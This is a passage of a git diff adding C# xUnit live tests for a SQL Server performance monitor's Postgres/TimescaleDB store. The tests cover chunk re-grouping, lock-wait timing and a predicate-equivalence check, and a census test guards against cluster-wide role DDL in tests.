+    /// </summary>
+    [Fact]
+    public async Task TheReach_IsClampedToTheRetentionLessADay()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        await ExecAsync(connection,
+            "INSERT INTO config.config_collector_schedules (server_id, collector_name, retention_days) VALUES (NULL, 'perfmon_stats', 4)", ct);
+
+        /* The expected chunks come from the DATABASE clock, read here (#5574, check round 2): the reach is "ends within 3 days of
+           now()", and the day-3 chunk drops out of it at midnight UTC, so a count of 3 fixed when the class loaded fails a run that
+           crosses midnight between the class start and this test. The chunks themselves are named by the seeded days. */
+        var expected = new List<string>();
+        using (var inReach = new NpgsqlCommand(
+            @"SELECT format('%I.%I', chunk_schema, chunk_name) FROM timescaledb_information.chunks
+              WHERE hypertable_schema = 'collect' AND hypertable_name = 'perfmon_stats' AND is_compressed
+              AND range_end > now() - make_interval(days => 3)", connection))
+        await using (var names = await inReach.ExecuteReaderAsync(ct))
+        {
+            while (await names.ReadAsync(ct))
+            {
+                expected.Add(names.GetString(0));
+            }
+        }
+
+        Assert.InRange(expected.Count, 2, 3);
+        var run = await RunDetailedBoundedAsync(NewDrain(scratch.ConnectionString, new CapturingTestLogger(), TimeSpan.Zero, new List<TimeSpan>()), 60, ct);
+
+        Assert.Equal(expected.Count, run.Done);
+        var after = await ReadChunksAsync(connection, ct);
+        Assert.All(after.Where(chunk => expected.Contains(chunk.Name)), chunk => Assert.Equal(WantedChunkSegmentBy, chunk.SegmentBy));
+        Assert.All(after.Where(chunk => !expected.Contains(chunk.Name) && chunk.IsCompressed), chunk => Assert.Equal(OldChunkSegmentBy, chunk.SegmentBy));
+        Assert.Equal(OldChunkSegmentBy, ChunkOfDay(after, 4).SegmentBy);
+        Assert.Equal(OldChunkSegmentBy, ChunkOfDay(after, 5).SegmentBy);
+    }
+
+    /// <summary>
+    /// A catalog read that fails is not reported as "converged" (#5574, L5): the run ends as <c>ReadFailed</c>, with ONE Warning
+    /// the first time in the process and Debug lines after; a closed gate ends it as <c>Blocked</c> with no Warning at all.
+    /// </summary>
+    [Fact]
+    public async Task AFailedCandidatesRead_IsWarnedOncePerProcess_AndIsNotConvergence()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var failed = new TimescaleSupport.PerfmonRegroupRead(TimescaleSupport.PerfmonRegroupReadStatus.ReadFailed, Array.Empty<TimescaleSupport.PerfmonRegroupCandidate>(), "permission denied for view chunks");
+        var logger = new CapturingTestLogger();
+        var drain = NewDrain(scratch.ConnectionString, logger, TimeSpan.Zero, new List<TimeSpan>(), readCandidates: FixedRead(failed));
+        Assert.Equal(PerfmonRegroupRunEnd.ReadFailed, (await RunDetailedBoundedAsync(drain, 30, ct)).End);
+        Assert.Equal(PerfmonRegroupRunEnd.ReadFailed, (await RunDetailedBoundedAsync(drain, 30, ct)).End);
+        Assert.Equal(1, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.Contains(logger.Lines, line => line.StartsWith("Warning:", StringComparison.Ordinal) && line.Contains("permission denied for view chunks", StringComparison.Ordinal));
+        Assert.DoesNotContain(logger.Lines, line => line.Contains("has the old grouping to re-group", StringComparison.Ordinal));
+
+        var blocked = new TimescaleSupport.PerfmonRegroupRead(TimescaleSupport.PerfmonRegroupReadStatus.Blocked, Array.Empty<TimescaleSupport.PerfmonRegroupCandidate>(), "closed");
+        var blockedLogger = new CapturingTestLogger();
+        var blockedDrain = NewDrain(scratch.ConnectionString, blockedLogger, TimeSpan.Zero, new List<TimeSpan>(), readCandidates: FixedRead(blocked));
+        Assert.Equal(PerfmonRegroupRunEnd.Blocked, (await RunDetailedBoundedAsync(blockedDrain, 30, ct)).End);
+        Assert.Equal(0, blockedLogger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.DoesNotContain(blockedLogger.Lines, line => line.Contains("has the old grouping to re-group", StringComparison.Ordinal));
+    }
+
+    /* ---------------- fixture ---------------- */
+
+    private static PerfmonRegroupDrain NewDrain(
+        string connectionString, CapturingTestLogger logger, TimeSpan minPause, List<TimeSpan> pauses,
+        int statementTimeoutSeconds = TimescaleSupport.PerfmonRegroupStatementTimeoutSeconds,
+        Func<NpgsqlConnection, Microsoft.Extensions.Logging.ILogger?, int, CancellationToken, Task<TimescaleSupport.PerfmonRegroupRead>>? readCandidates = null,
+        TimeSpan? lostWorkThreshold = null) =>
+        new(async token =>
+            {
+                var connection = new NpgsqlConnection(connectionString);
+                await connection.OpenAsync(token);
+                return connection;
+            },
+            logger, 30, minPause,
+            (pause, token) =>
+            {
+                pauses.Add(pause);
+                return Task.CompletedTask;
+            },
+            statementTimeoutSeconds, readCandidates, lostWorkThreshold);
+
+    /// <summary>A candidates read that always answers with <paramref name="read"/> (a catalog the product's query cannot be made
+    /// to produce on a real store: a chunk that stays a candidate, a failed read, a chunk that is already gone).</summary>
+    private static Func<NpgsqlConnection, Microsoft.Extensions.Logging.ILogger?, int, CancellationToken, Task<TimescaleSupport.PerfmonRegroupRead>> FixedRead(
+        TimescaleSupport.PerfmonRegroupRead read) =>
+        (connection, logger, reach, token) => Task.FromResult(read);
+
+    /// <summary>One md5 over the row count and a hash sum per (server, counter): unchanged data gives the same value.</summary>
+    private static Task<string> FingerprintAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ScalarAsync<string>(connection,
+            @"SELECT md5(string_agg(concat_ws('|', server_id, counter_name, n, h), ',' ORDER BY server_id, counter_name))
+              FROM (SELECT server_id, counter_name, count(*) AS n,
+                           sum(hashtextextended(concat_ws('|', collection_id, collection_time, instance_name, cntr_value, delta_cntr_value, sample_interval_seconds, cntr_type), 0)::numeric) AS h
+                    FROM perfmon_stats GROUP BY server_id, counter_name) AS t", ct);
+
+    /* ---------------- round 2b helpers ---------------- */
+
+    /// <summary>Runs the drain to the end, or fails the test when it has not ended in <paramref name="seconds"/> (a drain
+    /// that loops on a chunk it should have skipped would otherwise hang the suite).</summary>
+    private static async Task<int> RunBoundedAsync(PerfmonRegroupDrain drain, int seconds, CancellationToken ct)
+    {
+        using var limit = CancellationTokenSource.CreateLinkedTokenSource(ct);
+        limit.CancelAfter(TimeSpan.FromSeconds(seconds));
+        try
+        {
+            return await drain.RunAsync(limit.Token);
+        }
+        catch (OperationCanceledException) when (!ct.IsCancellationRequested)
+        {
+            Assert.Fail($"the drain had not finished {seconds} s into the run");
+            return -1;
+        }
+    }
+
+    /// <summary><see cref="RunBoundedAsync"/> with the reason the run ended.</summary>
+    private static async Task<PerfmonRegroupRunResult> RunDetailedBoundedAsync(PerfmonRegroupDrain drain, int seconds, CancellationToken ct)
+    {
+        using var limit = CancellationTokenSource.CreateLinkedTokenSource(ct);
+        limit.CancelAfter(TimeSpan.FromSeconds(seconds));
+        try
+        {
+            return await drain.RunDetailedAsync(limit.Token);
+        }
+        catch (OperationCanceledException) when (!ct.IsCancellationRequested)
+        {
+            Assert.Fail($"the drain had not finished {seconds} s into the run");
+            return default;
+        }
+    }
+
+    private static async Task WaitForAsync(Func<bool> condition, int seconds, CancellationToken ct)
+    {
+        var deadline = DateTime.UtcNow.AddSeconds(seconds);
+        while (!condition())
+        {
+            Assert.True(DateTime.UtcNow < deadline, $"the condition did not hold within {seconds} s");
+            await Task.Delay(50, ct);
+        }
+    }
+
+    /// <summary>perfmon_stats's own segmentby columns in order, joined with ", " (how the product's gate reads them).</summary>
+    private static Task<string> HypertableSegmentByAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ScalarAsync<string>(connection,
+            @"SELECT string_agg(attname, ', ' ORDER BY segmentby_column_index) FROM timescaledb_information.compression_settings
+              WHERE hypertable_schema = 'collect' AND hypertable_name = 'perfmon_stats' AND segmentby_column_index IS NOT NULL", ct);
+
+    /// <summary>One run of perfmon_stats's compression policy in this session, as the scheduler runs it: every chunk older
+    /// than the policy's compress-after is compressed with the settings the hypertable has at that moment.</summary>
+    private static async Task RunPerfmonPolicyAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var jobId = await ScalarAsync<int>(connection,
+            @"SELECT job_id FROM timescaledb_information.jobs WHERE proc_name = 'policy_compression'
+              AND hypertable_schema = 'collect' AND hypertable_name = 'perfmon_stats'", ct);
+        await ExecAsync(connection, $"CALL run_job({jobId})", ct);
+    }
+
+    /// <summary>
+    /// The filter text of every scan of a COMPRESSED chunk's own relation (named <c>compress_hyper_*</c> or <c>_hyper_N_M_chunk_compressed</c>, by TimescaleDB release) in the plan of a
+    /// one-counter read over the chunk starting at <paramref name="dayStart"/>: what the read can skip without
+    /// decompressing. The read has the trend read's filters (equality on server and counter, a time window).
+    /// </summary>
+    private static bool IsCompressedRelationName(string? name) =>
+        name is not null && (name.StartsWith("compress_hyper", StringComparison.Ordinal) || name.EndsWith("_compressed", StringComparison.Ordinal));
+
+    private static async Task<string> CompressedScanFilterAsync(NpgsqlConnection connection, DateTime dayStart, CancellationToken ct)
+    {
+        var from = dayStart.ToString("yyyy-MM-dd HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture);
+        var to = dayStart.AddDays(1).ToString("yyyy-MM-dd HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture);
+        var json = await ScalarAsync<string>(connection,
+            "EXPLAIN (FORMAT JSON, COSTS OFF) SELECT collection_time, cntr_value FROM v_perfmon_stats "
+            + $"WHERE server_id = 1 AND counter_name = 'Counter 2' AND collection_time >= '{from}' AND collection_time < '{to}'", ct);
+
+        var filters = new List<string>();
+        void Walk(System.Text.Json.JsonElement node)
+        {
+            if (node.ValueKind == System.Text.Json.JsonValueKind.Object)
+            {
+                if (node.TryGetProperty("Relation Name", out var relation)
+                    && IsCompressedRelationName(relation.GetString()))
+                {
+                    foreach (var key in new[] { "Filter", "Index Cond", "Recheck Cond" })
+                    {
+                        if (node.TryGetProperty(key, out var text))
+                        {
+                            filters.Add(text.GetString() ?? string.Empty);
+                        }
+                    }
+                }
+
+                foreach (var property in node.EnumerateObject())
+                {
+                    Walk(property.Value);
+                }
+            }
+            else if (node.ValueKind == System.Text.Json.JsonValueKind.Array)
+            {
+                foreach (var item in node.EnumerateArray())
+                {
+                    Walk(item);
+                }
+            }
+        }
+
+        using var document = System.Text.Json.JsonDocument.Parse(json);
+        Walk(document.RootElement);
+        Assert.True(filters.Count > 0, "no compressed chunk scan in the plan: " + json);
+        return string.Join(" | ", filters);
+    }
+}
diff --git a/Darling/Darling.Tests/PerfmonRegroupTimingLiveTests.cs b/Darling/Darling.Tests/PerfmonRegroupTimingLiveTests.cs
new file mode 100644
index 0000000000..f6fe6595e9
--- /dev/null
+++ b/Darling/Darling.Tests/PerfmonRegroupTimingLiveTests.cs
@@ -0,0 +1,168 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.PerfmonRegroupLiveSupport;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5574: the two perfmon_stats re-group tests that start a clock and judge a time against a limit. They are split out of
+/// <see cref="PerfmonRegroupLiveTests"/> into the <c>timing</c> collection, so the timed calls run on a quiet process
+/// instead of sharing CPU with the parallel classes. Each test mints its own scratch database, like the class they came
+/// from, and every assertion and bar is unchanged.
+/// </summary>
+/* #1776 own-store: both facts mint their own scratch database through ScratchPostgres and never touch another
+   test's rows, so this class is deliberately NOT [Collection("live-postgres")]. */
+[Collection("timing")]
+public sealed class PerfmonRegroupTimingLiveTests
+{
+
+    /// <summary>
+    /// A reader beside the re-group of a chunk of about 1.5 M rows never waits more than a few seconds (#5574; the bound is 2.5 s, against 0.1 to 0.2 s measured with two transactions and 4.9 s of a 10.3 s re-group with one): the
+    /// decompress holds only a lock that lets reads go on, and the ACCESS EXCLUSIVE it takes at its end is released by
+    /// its own commit, before the compress half starts. The same re-group in ONE transaction made the reader wait for
+    /// the whole compress half.
+    /// </summary>
+    [Fact]
+    public async Task AReaderBesideTheReGroupOfALargeChunk_NeverWaitsMoreThanAFewSeconds()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct), "TimescaleDB is not available on this cluster.");
+        await ExecAsync(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+        await RequirePerChunkSettingsAsync(connection, ct);
+        await ExecAsync(connection, TimescaleSupport.CreateHypertableSql(TimescaleSupport.PerfmonStatsTable, "collection_time"), ct);
+        await ExecAsync(connection, "ALTER TABLE perfmon_stats SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id')", ct);
+
+        /* 4 servers x 130 counters x 2 instances = 1040 series, a sample a minute for a day: 1,497,600 rows. */
+        var day = DateTime.SpecifyKind(RunStartUtc.Date.AddDays(-3), DateTimeKind.Unspecified);
+        using (var seed = new NpgsqlCommand(
+            @"INSERT INTO perfmon_stats (collection_id, collection_time, server_id, server_name, object_name, counter_name, instance_name, cntr_value, delta_cntr_value, sample_interval_seconds, cntr_type)
+              SELECT $1 - row_number() OVER (), g.t AT TIME ZONE 'UTC', s.id, 'REGROUP-SRV', 'SQLServer:Test', 'Counter ' || c.n, 'inst' || i.i,
+                     (extract(epoch FROM g.t)::bigint / 60 + s.id + c.n * 7 + i.i) % 100000, (extract(epoch FROM g.t)::bigint / 60 + c.n) % 50, 60, 65792
+              FROM generate_series($2::timestamp, $2::timestamp + INTERVAL '23 hours 59 minutes', INTERVAL '1 minute') AS g(t)
+              CROSS JOIN generate_series(1, 4) AS s(id)
+              CROSS JOIN generate_series(1, 130) AS c(n)
+              CROSS JOIN generate_series(0, 1) AS i(i)", connection) { CommandTimeout = 300 })
+        {
+            seed.Parameters.AddWithValue(IdBase);
+            seed.Parameters.AddWithValue(day);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        var chunkName = await ScalarAsync<string>(connection,
+            "SELECT format('%I.%I', chunk_schema, chunk_name) FROM timescaledb_information.chunks WHERE hypertable_name = 'perfmon_stats' AND NOT is_compressed AND range_end <= now()", ct);
+        await ExecAsync(connection, $"SELECT compress_chunk('{chunkName}')", ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+
+        /* The bound is on what the re-group ADDS to a read (#5574): the same read is timed without a re-group first, in this test,
+           so a slow runner moves both numbers and only a lock wait moves the difference. */
+        static async Task<TimeSpan> TimeReadAsync(NpgsqlConnection readConnection, CancellationToken token)
+        {
+            var clock = System.Diagnostics.Stopwatch.StartNew();
+            using var read = new NpgsqlCommand(
+                "SELECT count(*), max(cntr_value) FROM v_perfmon_stats WHERE server_id = 2 AND counter_name = 'Counter 7' AND collection_time >= now() - INTERVAL '30 days'", readConnection)
+            { CommandTimeout = 120 };
+            await read.ExecuteScalarAsync(token);
+            clock.Stop();
+            return clock.Elapsed;
+        }
+
+        /* The baseline is the MEDIAN of the warm reads (#5574, check round 2): the first read after the compress is cold (plan,
+           buffers) and is dropped, and one slow outlier must not lift the baseline, because the stall this test guards is a
+           lock wait of about 3 s on top of a warm read, and a baseline raised by 0.5 s lets it through. */
+        var warm = new List<TimeSpan>();
+        using (var baselineConnection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await baselineConnection.OpenAsync(ct);
+            await TimeReadAsync(baselineConnection, ct);
+            for (var i = 0; i < 5; i++)
+            {
+                warm.Add(await TimeReadAsync(baselineConnection, ct));
+            }
+        }
+
+        var baseline = warm.OrderBy(took => took).ElementAt(warm.Count / 2);
+
+        var stop = false;
+        var slowest = TimeSpan.Zero;
+        var reads = 0;
+        var reader = Task.Run(async () =>
+        {
+            using var readConnection = new NpgsqlConnection(scratch.ConnectionString);
+            await readConnection.OpenAsync(ct);
+            while (!Volatile.Read(ref stop))
+            {
+                var took = await TimeReadAsync(readConnection, ct);
+                if (took > slowest)
+                {
+                    slowest = took;
+                }
+
+                reads++;
+                await Task.Delay(100, ct);
+            }
+        }, ct);
+
+        var logger = new CapturingTestLogger();
+        var outcome = await TimescaleSupport.RegroupPerfmonChunkAsync(
+            connection, logger, new TimescaleSupport.PerfmonRegroupCandidate(chunkName, OldChunkSegmentBy), ct);
+        Volatile.Write(ref stop, true);
+        await reader;
+
+        Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.Regrouped, outcome.Result);
+        Assert.Equal(1_497_600, outcome.Rows);
+        Assert.True(reads >= 3, $"the reader only got {reads} reads in during a {outcome.Elapsed.TotalSeconds:0.0} s re-group");
+        Assert.True(slowest - baseline < TimeSpan.FromSeconds(2.5),
+            $"a read took {slowest.TotalSeconds:0.0} s during a {outcome.Elapsed.TotalSeconds:0.0} s re-group, against {baseline.TotalSeconds:0.0} s without one");
+    }
+
+    /// <summary>
+    /// A service stop during the compress half (#5574): the wait for a held lock is cancelled at once (not after the 3 s lock
+    /// timeout), the cancellation propagates, and the log says the chunk is left for the compression policy.
+    /// </summary>
+    [Fact]
+    public async Task AServiceStopDuringTheCompressHalf_CancelsTheWait_AndSaysTheChunkIsLeftToThePolicy()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        TimescaleSupport.BusyStreaks.Reset();
+
+        var chunk = ChunkOfDay(await ReadChunksAsync(connection, ct), 3);
+        await ExecAsync(connection, $"SELECT decompress_chunk('{chunk.Name}')", ct);
+        await using var holder = await HoldLockAsync(scratch.ConnectionString, chunk.Name, ct);
+        var logger = new CapturingTestLogger();
+        var clock = System.Diagnostics.Stopwatch.StartNew();
+        using var stopping = CancellationTokenSource.CreateLinkedTokenSource(ct);
+        stopping.CancelAfter(TimeSpan.FromMilliseconds(500));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => TimescaleSupport.CompressRegroupedChunkAsync(connection, logger, chunk.Name, 3, TimeSpan.FromSeconds(5), stopping.Token));
+        await holder.ReleaseAsync(ct);
+
+        Assert.True(clock.Elapsed < TimeSpan.FromSeconds(2.5), $"the stop took {clock.Elapsed.TotalSeconds:0.0} s to end the wait");
+        Assert.Single(logger.Lines, line => line.Contains("the service is stopping with perfmon_stats chunk", StringComparison.Ordinal));
+        TimescaleSupport.BusyStreaks.Reset();
+    }
+}
diff --git a/Darling/Darling.Tests/PerfmonWaitStatisticsArtifactMcpLiveTests.cs b/Darling/Darling.Tests/PerfmonWaitStatisticsArtifactMcpLiveTests.cs
index 0dce19e3fd..66a2974c49 100644
--- a/Darling/Darling.Tests/PerfmonWaitStatisticsArtifactMcpLiveTests.cs
+++ b/Darling/Darling.Tests/PerfmonWaitStatisticsArtifactMcpLiveTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Linq;
 using System.Text.Json;
 using System.Threading.Tasks;
@@ -110,6 +111,103 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /// <summary>
+    /// #5562 L4b: the Wait Statistics arm's suffix test moved from <c>right(object_name, 16) = ':Wait Statistics'</c> to
+    /// <c>object_name LIKE '%:Wait Statistics'</c> so a compressed chunk's columnar scan can vectorize it. The two must pick the
+    /// same rows, so this runs the shipped SQL and the same SQL with the old predicate side by side over every object-name shape:
+    /// the default instance, a named instance (with its own isolated spike), another object, a NULL object, and near misses
+    /// (longer and shorter names) that share the suffix's start but not its end.
+    /// </summary>
+    [Fact]
+    public async Task PerfmonTrendSql_LikeSuffixPicksTheSameRowsAsTheOldRightPredicate_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live artifact round trip.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t0 = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-10);
+
+            var objects = new (string? Name, long[] Values)[]
+            {
+                ("SQLServer:Wait Statistics", new long[] { 300, 310, 320, 330, 340 }),
+                ("MSSQL$INST1:Wait Statistics", new long[] { 200, 214_396_451, 220, 230, 240 }),
+                ("SQLServer:SQL Statistics", new long[] { 11, 12, 13, 14, 15 }),
+                (null, new long[] { 21, 22, 23, 24, 25 }),
+                ("SQLServer:Wait Statistics Extra", new long[] { 31, 32, 33, 34, 35 }),
+                ("Wait Statistics", new long[] { 41, 42, 43, 44, 45 }),
+                ("SQLServer:Wait Statistic", new long[] { 51, 52, 53, 54, 55 }),
+            };
+            foreach (var (name, values) in objects)
+            {
+                for (var i = 0; i < values.Length; i++)
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO perfmon_stats (collection_id, collection_time, server_id, server_name, object_name, counter_name, instance_name, cntr_value, delta_cntr_value, sample_interval_seconds, cntr_type)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t0.AddMinutes(i)), ServerId, ServerName, name, "Waits started per second", "", values[i],
+                        (long?)null, (int?)null, PerfmonCounterTypes.PerfCounterLargeRawCount);
+                }
+            }
+
+            var shipped = DarlingTrendReader.PerfmonTrendSql;
+            /* Both arms test the suffix with LIKE (the artifact predicate's own right() runs on the first arm's few surviving rows). */
+            Assert.Equal(2, shipped.Split("object_name LIKE '%:Wait Statistics'").Length - 1);
+            var old = shipped.Replace("object_name LIKE '%:Wait Statistics'", "right(object_name, 16) = ':Wait Statistics'", StringComparison.Ordinal);
+            Assert.NotEqual(shipped, old);
+
+            async Task<List<string>> RunAsync(string sql)
+            {
+                var rows = new List<string>();
+                await using var command = new NpgsqlCommand(sql, connection);
+                command.Parameters.AddWithValue(ServerId);
+                command.Parameters.AddWithValue("Waits started per second");
+                command.Parameters.AddWithValue(DarlingMcpTestData.Naive(t0.AddMinutes(-1)));
+                command.Parameters.AddWithValue(DarlingMcpTestData.Naive(t0.AddMinutes(10)));
+                await using var reader = await command.ExecuteReaderAsync(ct);
+                while (await reader.ReadAsync(ct))
+                {
+                    var cells = new string[reader.FieldCount];
+                    for (var c = 0; c < cells.Length; c++)
+                    {
+                        cells[c] = reader.IsDBNull(c) ? "NULL" : Convert.ToString(reader.GetValue(c), System.Globalization.CultureInfo.InvariantCulture)!;
+                    }
+
+                    rows.Add(string.Join("|", cells));
+                }
+
+                return rows;
+            }
+
+            var withLike = await RunAsync(shipped);
+            var withRight = await RunAsync(old);
+            Assert.Equal(5, withLike.Count);
+            Assert.Equal(withRight, withLike);
+
+            /* The named instance's spike is still set aside (the artifact count is the last column), and nothing else is. */
+            Assert.Equal(1, withLike.Sum(r => long.Parse(r.Split('|')[^1], System.Globalization.CultureInfo.InvariantCulture)));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteRowsAsync(cleanup, cleanupCt);
+                using var servers = new NpgsqlCommand("DELETE FROM servers WHERE server_id = $1", cleanup);
+                servers.Parameters.AddWithValue(ServerId);
+                await servers.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
     private static Task PlantAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct, DateTime at,
         string counterName, long value, int type) =>
         DarlingMcpTestData.ExecAsync(connection, ct,
diff --git a/Darling/Darling.Tests/PgClusterObjectCensusTests.cs b/Darling/Darling.Tests/PgClusterObjectCensusTests.cs
new file mode 100644
index 0000000000..c55736c229
--- /dev/null
+++ b/Darling/Darling.Tests/PgClusterObjectCensusTests.cs
@@ -0,0 +1,338 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5602: a live test changes only Postgres objects that no other test can see, or it runs in the
+/// <c>pg-cluster-roles</c> collection, which runs alone.
+///
+/// <para>Roles, role memberships, database-level grants, <c>ALTER ROLE ... SET</c>, <c>ALTER DATABASE ... SET</c> and
+/// <c>ALTER SYSTEM</c> are stored for the whole cluster, not for the scratch database a test made. Two tests that
+/// wrote one of them at the same time failed with "tuple concurrently updated" (#5560), and the product's
+/// provisioning batch writes FIXED role names, so every test that runs it shares them. This census reads each
+/// test class that reaches the <c>DARLING_TEST_PG</c> cluster (the same reach test
+/// <see cref="LivePostgresCollectionHygieneTests"/> uses) and fails when its code (comments stripped) does one of
+/// these and the class is neither in <see cref="PgClusterRolesCollection"/> nor on <see cref="AllowList"/>:</para>
+/// <list type="bullet">
+/// <item><description><c>CREATE/ALTER/DROP ROLE</c>, <c>DROP OWNED BY</c>, <c>GRANT ... TO</c> or <c>REVOKE ... FROM</c>
+/// with a LITERAL role name. A name built with <c>{...}</c> from a per-run token is fine: nobody else writes
+/// that catalog row.</description></item>
+/// <item><description><c>ALTER SYSTEM SET/RESET</c>, <c>ALTER DATABASE x SET</c> and <c>GRANT/REVOKE ... ON DATABASE x</c>
+/// with a literal database name (a scratch name built with <c>{...}</c> is fine).</description></item>
+/// <item><description>A call of a product entry point that writes the fixed roles: the provisioning methods, the
+/// statement_timeout re-assert, or the <c>DarlingManagedPostgres.*RoleName</c> constants.</description></item>
+/// </list>
+/// A lone SQL string that a test only ASSERTS on (a line with <c>Assert.</c> or <c>Regex</c> on it) is not an
+/// execution and is skipped. Every allow-list entry carries its reason, and an entry that no longer matches
+/// anything fails too, so the list cannot go stale.
+/// </summary>
+/* #1776 own-store: this class reads test source files and never connects to a database; the quoted store names in it are
+   patterns it searches for. */
+[Trait("Stage", "Guard")]
+public sealed class PgClusterObjectCensusTests
+{
+    private const string CollectionName = "pg-cluster-roles";
+
+    private static readonly string[] SharedClusterReach = { "\"DARLING_TEST_PG\"", "ScratchPostgres.CreateAsync(", "LivePostgresStoreFixture" };
+
+    /// <summary>Classes that reach the shared cluster, match a rule, and are safe. Every entry says why.</summary>
+    internal static readonly IReadOnlyDictionary<string, string> AllowList = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["PgStatementTextScrubLiveTests"] =
+            "the ALTER ROLE text is a sample statement fed to the scrubber as data; the class runs no role DDL",
+        ["StatementAnalysisReadCutLiveTests"] =
+            "the CREATE ROLE text is a sample statement fed to the read cut as data; the class runs no role DDL",
+        ["StoreLogRemaskLiveTests"] =
+            "the ALTER ROLE text is a sample log line fed to the re-mask as data; the class runs no role DDL",
+        ["StoreStatementStatsLiveTests"] =
+            "the ALTER ROLE and ALTER SYSTEM text is sample statement text fed to the scrubber as data; every role and database this class really creates carries a per-run suffix",
+        ["MigrationUpgradeLadderLiveTests"] =
+            "creates the cluster's own bootstrap role name only when it is missing (CREATE ROLE darling ... IF NOT EXISTS); on a CI cluster it already exists, so the write never happens",
+        ["AlertHistoryDismissTests"] =
+            "builds the shipped provisioning text and retargets its viewer GRANT at a per-run role; the batch itself is never executed",
+        ["ViewerStoreLoginRawReadLiveTests"] =
+            "lifts two shipped GRANT statements out of the provisioning text and runs them retargeted at a per-run role",
+        ["ServerAddViewerRoleLiveTests"] =
+            "lifts the shipped viewer GRANT statements out of the provisioning text and runs them retargeted at a per-run role",
+        ["ServerEditLiveTests"] =
+            "lifts the shipped viewer GRANT statements out of the provisioning text and runs them retargeted at a per-run role",
+        ["ServerTagMcpRoleLiveTests"] =
+            "lifts the shipped mcp GRANT statements out of the provisioning text and runs them retargeted at a per-run role",
+        ["ServerTagViewerRoleLiveTests"] =
+            "lifts the shipped viewer GRANT statements out of the provisioning text and runs them retargeted at a per-run role",
+        ["ComposeTempFileLimitLiveTests"] =
+            "renders the shipped compose-store role statements and retargets them at a per-run role; the fixed roles are not written",
+    };
+
+    /// <summary>
+    /// The allow-listed classes whose only matches are sample statement text, pinned to the exact code lines that match
+    /// (trimmed). The class-level allow entry above would let a NEW literal-role statement into one of these files
